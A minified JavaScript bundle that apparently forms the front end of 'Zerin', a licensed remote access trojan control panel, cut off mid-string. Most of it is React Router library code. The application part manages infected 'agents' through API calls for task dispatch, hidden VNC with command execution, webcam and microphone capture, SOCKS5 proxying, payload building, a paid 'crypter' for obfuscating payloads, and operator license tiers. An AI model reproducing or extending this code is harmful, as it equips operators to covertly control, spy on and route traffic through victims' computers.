u=ui([r,c.relativePath]),d=n.concat(c);a.children&&a.children.length>0&&(Ye(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),G5(a.children,t,d,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:TP(u,a.index),routesMeta:d})};return e.forEach((a,o)=>{var l;if(a.path===""||!((l=a.path)!=null&&l.includes("?")))i(a,o);else for(let c of X5(a.path))i(a,o,c)}),t}function X5(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return i?[a,""]:[a];let o=X5(r.join("/")),l=[];return l.push(...o.map(c=>c===""?a:[a,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function zP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:MP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const CP=/^:[\w-]+$/,PP=3,EP=2,AP=1,_P=10,OP=-2,Eg=e=>e==="*";function TP(e,t){let n=e.split("/"),r=n.length;return n.some(Eg)&&(r+=OP),t&&(r+=EP),n.filter(i=>!Eg(i)).reduce((i,a)=>i+(CP.test(a)?PP:a===""?AP:_P),r)}function MP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function LP(e,t,n){let{routesMeta:r}=e,i={},a="/",o=[];for(let l=0;l{let{paramName:m,isOptional:h}=d;if(m==="*"){let g=l[f]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[m]=void 0:u[m]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:e}}function IP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),px(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function DP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return px(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function Ga(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const RP=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,$P=e=>RP.test(e);function BP(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?ss(e):e,a;if(n)if($P(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),px(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=Ag(n.substring(1),"/"):a=Ag(n,t)}else a=t;return{pathname:a,search:UP(r),hash:VP(i)}}function Ag(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function Vf(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function FP(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function mx(e,t){let n=FP(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function hx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=ss(e):(i=wo({},e),Ye(!i.pathname||!i.pathname.includes("?"),Vf("?","pathname","search",i)),Ye(!i.pathname||!i.pathname.includes("#"),Vf("#","pathname","hash",i)),Ye(!i.search||!i.search.includes("#"),Vf("#","search","hash",i)));let a=e===""||i.pathname==="",o=a?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let m=o.split("/");for(;m[0]==="..";)m.shift(),f-=1;i.pathname=m.join("/")}l=f>=0?t[f]:"/"}let c=BP(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const ui=e=>e.join("/").replace(/\/\/+/g,"/"),WP=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),UP=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,VP=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function HP(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Z5=["post","put","patch","delete"];new Set(Z5);const KP=["get",...Z5];new Set(KP);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function jo(){return jo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),p.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=hx(u,JSON.parse(o),a,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:ui([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,a,e])}const GP=p.createContext(null);function XP(e){let t=p.useContext(cr).outlet;return t&&p.createElement(GP.Provider,{value:e},t)}function qo(){let{matches:e}=p.useContext(cr),t=e[e.length-1];return t?t.params:{}}function nd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=p.useContext(Dr),{matches:i}=p.useContext(cr),{pathname:a}=la(),o=JSON.stringify(mx(i,r.v7_relativeSplatPath));return p.useMemo(()=>hx(e,JSON.parse(o),a,n==="path"),[e,o,a,n])}function ZP(e,t){return QP(e,t)}function QP(e,t,n,r){os()||Ye(!1);let{navigator:i}=p.useContext(Dr),{matches:a}=p.useContext(cr),o=a[a.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=la(),d;if(t){var f;let y=typeof t=="string"?ss(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Ye(!1),d=y}else d=u;let m=d.pathname||"/",h=m;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+m.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=NP(e,{pathname:h}),g=rE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:ui([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:ui([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),a,n,r);return t&&g?p.createElement(td.Provider,{value:{location:jo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ei.Pop}},g):g}function JP(){let e=oE(),t=HP(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return p.createElement(p.Fragment,null,p.createElement("h2",null,"Unexpected Application Error!"),p.createElement("h3",{style:{fontStyle:"italic"}},t),n?p.createElement("pre",{style:i},n):null,null)}const eE=p.createElement(JP,null);class tE extends p.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?p.createElement(cr.Provider,{value:this.props.routeContext},p.createElement(J5.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function nE(e){let{routeContext:t,match:n,children:r}=e,i=p.useContext(ed);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),p.createElement(cr.Provider,{value:t},r)}function rE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var a;if(!n)return null;if(n.errors)e=n.matches;else if((a=r)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Ye(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,m)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||eE,c&&(u<0&&m===0?(cE("route-fallback"),x=!0,y=null):u===m&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,m+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=p.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,p.createElement(nE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||m===0)?p.createElement(tE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var tj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(tj||{}),nj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(nj||{});function iE(e){let t=p.useContext(ed);return t||Ye(!1),t}function aE(e){let t=p.useContext(Q5);return t||Ye(!1),t}function sE(e){let t=p.useContext(cr);return t||Ye(!1),t}function rj(e){let t=sE(),n=t.matches[t.matches.length-1];return n.route.id||Ye(!1),n.route.id}function oE(){var e;let t=p.useContext(J5),n=aE(),r=rj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function lE(){let{router:e}=iE(tj.UseNavigateStable),t=rj(nj.UseNavigateStable),n=p.useRef(!1);return ej(()=>{n.current=!0}),p.useCallback(function(i,a){a===void 0&&(a={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,jo({fromRouteId:t},a)))},[e,t])}const _g={};function cE(e,t,n){_g[e]||(_g[e]=!0)}function uE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function Qi(e){let{to:t,replace:n,state:r,relative:i}=e;os()||Ye(!1);let{future:a,static:o}=p.useContext(Dr),{matches:l}=p.useContext(cr),{pathname:c}=la(),u=ur(),d=hx(t,mx(l,a.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return p.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function dE(e){return XP(e.context)}function ht(e){Ye(!1)}function fE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ei.Pop,navigator:a,static:o=!1,future:l}=e;os()&&Ye(!1);let c=t.replace(/^\/*/,"/"),u=p.useMemo(()=>({basename:c,navigator:a,static:o,future:jo({v7_relativeSplatPath:!1},l)}),[c,l,a,o]);typeof r=="string"&&(r=ss(r));let{pathname:d="/",search:f="",hash:m="",state:h=null,key:x="default"}=r,g=p.useMemo(()=>{let y=Ga(d,c);return y==null?null:{location:{pathname:y,search:f,hash:m,state:h,key:x},navigationType:i}},[c,d,f,m,h,x,i]);return g==null?null:p.createElement(Dr.Provider,{value:u},p.createElement(td.Provider,{children:n,value:g}))}function pE(e){let{children:t,location:n}=e;return ZP(ym(t),n)}new Promise(()=>{});function ym(e,t){t===void 0&&(t=[]);let n=[];return p.Children.forEach(e,(r,i)=>{if(!p.isValidElement(r))return;let a=[...t,i];if(r.type===p.Fragment){n.push.apply(n,ym(r.props.children,a));return}r.type!==ht&&Ye(!1),!r.props.index||!r.props.children||Ye(!1);let o={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=ym(r.props.children,a)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Uc(){return Uc=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function mE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function hE(e,t){return e.button===0&&(!t||t==="_self")&&!mE(e)}function bm(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function xE(e,t){let n=bm(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(a=>{n.append(i,a)})}),n}const vE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],gE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],yE="6";try{window.__reactRouterVersion=yE}catch{}const bE=p.createContext({isTransitioning:!1}),wE="startTransition",Og=K2[wE];function jE(e){let{basename:t,children:n,future:r,window:i}=e,a=p.useRef();a.current==null&&(a.current=wP({window:i,v5Compat:!0}));let o=a.current,[l,c]=p.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=p.useCallback(f=>{u&&Og?Og(()=>c(f)):c(f)},[c,u]);return p.useLayoutEffect(()=>o.listen(d),[o,d]),p.useEffect(()=>uE(r),[r]),p.createElement(fE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const kE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",NE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,dt=p.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:a,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,m=ij(t,vE),{basename:h}=p.useContext(Dr),x,g=!1;if(typeof u=="string"&&NE.test(u)&&(x=u,kE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),k=Ga(j.pathname,h);j.origin===w.origin&&k!=null?u=k+j.search+j.hash:g=!0}catch{}let y=qP(u,{relative:i}),v=CE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return p.createElement("a",Uc({},m,{href:x||y,onClick:g||a?r:b,ref:n,target:c}))}),SE=p.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:a="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=ij(t,gE),m=nd(c,{relative:f.relative}),h=la(),x=p.useContext(Q5),{navigator:g,basename:y}=p.useContext(Dr),v=x!=null&&PE(m)&&u===!0,b=g.encodeLocation?g.encodeLocation(m).pathname:m.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=Ga(j,y)||j);const k=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let S=w===b||!o&&w.startsWith(b)&&w.charAt(k)==="/",N=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),z={isActive:S,isPending:N,isTransitioning:v},_=S?r:void 0,A;typeof a=="function"?A=a(z):A=[a,S?"active":null,N?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let O=typeof l=="function"?l(z):l;return p.createElement(dt,Uc({},f,{"aria-current":_,className:A,ref:n,style:O,to:c,viewTransition:u}),typeof d=="function"?d(z):d)});var wm;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(wm||(wm={}));var Tg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Tg||(Tg={}));function zE(e){let t=p.useContext(ed);return t||Ye(!1),t}function CE(e,t){let{target:n,replace:r,state:i,preventScrollReset:a,relative:o,viewTransition:l}=t===void 0?{}:t,c=ur(),u=la(),d=nd(e,{relative:o});return p.useCallback(f=>{if(hE(f,n)){f.preventDefault();let m=r!==void 0?r:Wc(u)===Wc(d);c(e,{replace:m,state:i,preventScrollReset:a,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,a,o,l])}function xx(e){let t=p.useRef(bm(e)),n=p.useRef(!1),r=la(),i=p.useMemo(()=>xE(r.search,n.current?null:t.current),[r.search]),a=ur(),o=p.useCallback((l,c)=>{const u=bm(typeof l=="function"?l(i):l);n.current=!0,a("?"+u,c)},[a,i]);return[i,o]}function PE(e,t){t===void 0&&(t={});let n=p.useContext(bE);n==null&&Ye(!1);let{basename:r}=zE(wm.useViewTransitionState),i=nd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let a=Ga(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=Ga(n.nextLocation.pathname,r)||n.nextLocation.pathname;return gm(i.pathname,o)!=null||gm(i.pathname,a)!=null}const rd="zerin_token",id="zerin_role",ad="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(rd,n.data.token),n.data.role&&sessionStorage.setItem(id,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function rt(){return sessionStorage.getItem(rd)}function vx(e){sessionStorage.setItem(rd,e)}function Yo(){sessionStorage.removeItem(rd),sessionStorage.removeItem(id),sessionStorage.removeItem(ad),ko=null}function aj(){return sessionStorage.getItem(ad)||"rat"}let ko=null;function EE(){return rt()?ko&&Date.now()/1e3>ko?(Yo(),!1):!0:!1}class di extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Se(e,t={}){const n=rt(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){Yo(),xi();const a=await i.text().catch(()=>"");let o="Unauthorized";if(a)try{o=JSON.parse(a).error||o}catch{o=a}throw new di(401,o)}if(!i.ok){const a=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(a)try{o=JSON.parse(a).error||o}catch{}throw new di(i.status,o)}if(i.status!==204)return i.json()}async function sj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function AE(e){const t=await sj(e.password),n=await Se("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return vx(n.token),ko=n.expires_at,n.role&&sessionStorage.setItem(id,n.role),n.tier&&sessionStorage.setItem(ad,n.tier),xi(),n}async function _E(e){const t=await sj(e.password),n=await Se("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return vx(n.token),ko=n.expires_at,n.role&&sessionStorage.setItem(id,n.role),n.tier&&sessionStorage.setItem(ad,n.tier),xi(),n}async function oj(e){return Se("/api/agents")}async function OE(e){return Se(`/api/agents/${e}`)}async function lj(e){return Se(`/api/agents/${e}`,{method:"DELETE"})}async function TE(e){await Promise.all(e.map(t=>lj(t)))}async function ME(e){return Se(`/api/agents/${e}/ban`,{method:"POST"})}async function LE(e){return Se(`/api/agents/${e}/unban`,{method:"POST"})}async function Ee(e,t){return Se(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Un(e){return Se(`/api/agents/${e}/tasks`)}async function IE(){return Se("/api/events")}async function DE(e,t){return Se(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function RE(e){return Se("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function $E(){return Se("/api/payloads")}async function BE(){return Se("/api/server-info")}async function FE(e){return Se(`/api/payloads/${e}`,{method:"DELETE"})}async function gx(e){return Se(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function WE(e){return Se(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function cj(e){return Se(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function UE(e){return Se(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function VE(e,t,n=!1){return Se(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function uj(e,t=-1){return Se(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function HE(e){return Se(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function dj(e){return Se(`/api/agents/${e}/mic/start`,{method:"POST"})}async function KE(e){return Se(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function fj(e){return Se(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function qE(e){return Se(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function YE(e){return Se(`/api/agents/${e}/socks5/status`)}async function GE(e){const t=rt(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw Yo(),xi(),new di(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new di(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new di(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function XE(){return Se("/api/admin/keys")}async function ZE(e){return Se("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function QE(e){return Se(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function JE(){return Se("/api/admin/operators")}async function eA(e,t){return Se(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function tA(e,t){return Se(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}let dc=[];function nA(e){return dc.push(e),()=>{dc=dc.filter(t=>t!==e)}}function rA(){return EE()}function xi(){dc.forEach(e=>e())}function iA(){const e=rt();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ls(){const e=p.useSyncExternalStore(nA,rA),t=p.useCallback(()=>{xi()},[]),n=p.useCallback(()=>{Yo(),xi()},[]),r=e?iA():null;return{isAuthenticated:e,token:rt(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class aA extends p.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?s.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),s.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function sA(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,a]=p.useState(!1),[o,l]=p.useState(null),c=p.useRef(null),u=p.useRef(0),d=p.useRef(),f=p.useRef(t);f.current=t;const m=p.useCallback(()=>{const x=rt();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{a(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(a(!1),c.current=null,u.current{m()},w)}else Yo(),xi()},v.onerror=()=>{v.close()}},[n,r]),h=p.useCallback(()=>{u.current=0,m()},[m]);return p.useEffect(()=>(m(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[m]),{isConnected:i,lastMessage:o,reconnect:h}}const Hf="zerin_notifications_enabled";function oA(){const[e,t]=p.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=p.useState(()=>localStorage.getItem(Hf)==="true");p.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=p.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(Hf,"true"))},[]),a=p.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(Hf,String(c)),c})},[]),o=p.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:a,notify:o,isSupported:typeof Notification<"u"}}const Kf="zerin-uwu-mode",Mg=20,lA=3e3;function cA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),a=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.05,t+.04),a.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(a).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function uA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function dA(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function fA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + 